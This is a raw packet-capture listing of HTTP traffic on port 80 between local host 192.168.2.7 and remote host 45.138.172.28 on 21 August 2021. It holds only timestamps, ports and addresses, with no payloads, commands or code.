Aug 21, 2021 21:46:32.452560902 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.452581882 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452586889 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.452606916 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452624083 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.452639103 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452646971 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.452785015 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.464277983 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.464330912 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.464364052 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.464385986 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.464410067 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.464435101 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.464463949 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.464487076 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.464509964 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.464531898 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.464550018 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.464561939 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.464585066 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.464591026 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.464613914 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.464649916 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.479567051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.479598999 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.479617119 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.479681969 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.479742050 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.479783058 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.479809046 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.479830980 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.479859114 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.479868889 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.479893923 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.479907036 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.479927063 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.479950905 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.479957104 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.479979038 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.479998112 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.480010986 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.480031013 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.480043888 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.480052948 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.480073929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.480083942 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.480104923 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.480114937 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.480182886 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.480202913 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.480241060 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.480262041 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.480289936 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.480297089 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.480325937 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.480333090 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.480367899 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.480391979 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.480416059 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.480428934 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.480439901 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.480488062 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.481570959 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.481596947 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.481616974 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.481638908 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.481657982 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.481678963 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.481703043 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.481710911 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.481764078 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.481779099 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.481798887 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.481822968 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.481872082 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.481894016 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.481940985 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.481973886 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.482019901 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482043028 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482085943 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.482105970 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482127905 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482145071 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482161045 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482198000 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482220888 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482234001 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.482254982 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482269049 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.482287884 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482296944 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.482316971 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482331991 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.482356071 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482366085 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.482388973 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482403994 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.482422113 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482433081 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.482466936 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.482502937 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482526064 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482546091 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482568026 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.482590914 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482610941 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.482676029 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.482714891 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482737064 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482784986 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.482803106 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482851982 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482873917 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482904911 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.482923985 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.482969046 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.482990026 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483033895 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.483047009 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483068943 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483091116 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483099937 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.483163118 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.483181953 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483203888 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483225107 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483236074 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.483258963 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483288050 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.483316898 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483325958 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.483350992 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483372927 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483393908 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483403921 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.483428955 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483453989 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483475924 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.483480930 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.483496904 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483511925 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.483535051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483556986 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483582973 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483613968 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.483659029 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.483685017 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483709097 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483750105 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483771086 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.483813047 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483819962 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.483863115 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483886003 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483911037 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.483942032 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.483958006 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.484011889 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.484059095 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.484081030 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.484111071 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.484132051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.484137058 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.484180927 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.484190941 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.484215021 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.484260082 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.484271049 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.484309912 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.484318972 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.484340906 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.484385014 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.484395981 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.484406948 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.484428883 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.484451056 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.484489918 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.484524012 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.484534025 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.484555006 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.484576941 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.484585047 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.484608889 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.484618902 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.484641075 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.484679937 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.484702110 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.484723091 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.484771013 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.495448112 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.495479107 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.496149063 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.557739973 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.584300995 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584336042 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584358931 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584383965 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584408045 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584430933 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584454060 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584476948 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584498882 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584522963 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584542990 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584564924 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.584568024 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584623098 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584646940 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584669113 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584690094 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584712029 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584734917 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584754944 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584775925 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584801912 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584825993 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584847927 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584870100 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584870100 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.584892988 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584914923 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584937096 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584958076 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.584976912 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585000992 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585022926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585046053 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585067987 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585067034 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.585094929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585118055 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585120916 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.585140944 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585165977 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585165977 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.585191011 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585212946 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.585213900 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585237026 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585259914 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585261106 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.585287094 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585310936 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585333109 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585352898 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.585355043 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585378885 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585397005 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.585401058 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585402966 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.585423946 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585443974 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.585445881 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585470915 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585489035 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.585490942 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585494041 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.585510015 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585530043 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585530996 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.585550070 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585571051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585592985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585613012 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585575104 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.585637093 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585660934 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585684061 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585714102 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585735083 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585664034 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.585753918 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585778952 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585799932 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585819960 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585819960 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.585843086 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585864067 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585889101 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585911989 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.585912943 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585936069 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585958958 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585982084 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.585963011 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586004972 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586028099 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586050034 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586050987 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586076975 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586097956 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586101055 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586105108 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586123943 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586287022 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586313009 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586335897 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586357117 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586379051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586317062 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586404085 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586426973 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586450100 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586477995 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586500883 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586502075 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586525917 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586545944 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586549044 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586550951 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586572886 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586592913 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586595058 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586615086 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586632967 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586637974 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586637974 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586813927 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.586832047 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586838007 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586839914 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586842060 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586843967 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586846113 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586847067 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586848974 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586850882 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586853027 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586853981 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586857080 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.586858034 CEST	49738	80	192.168.2.7	45.138.172.28
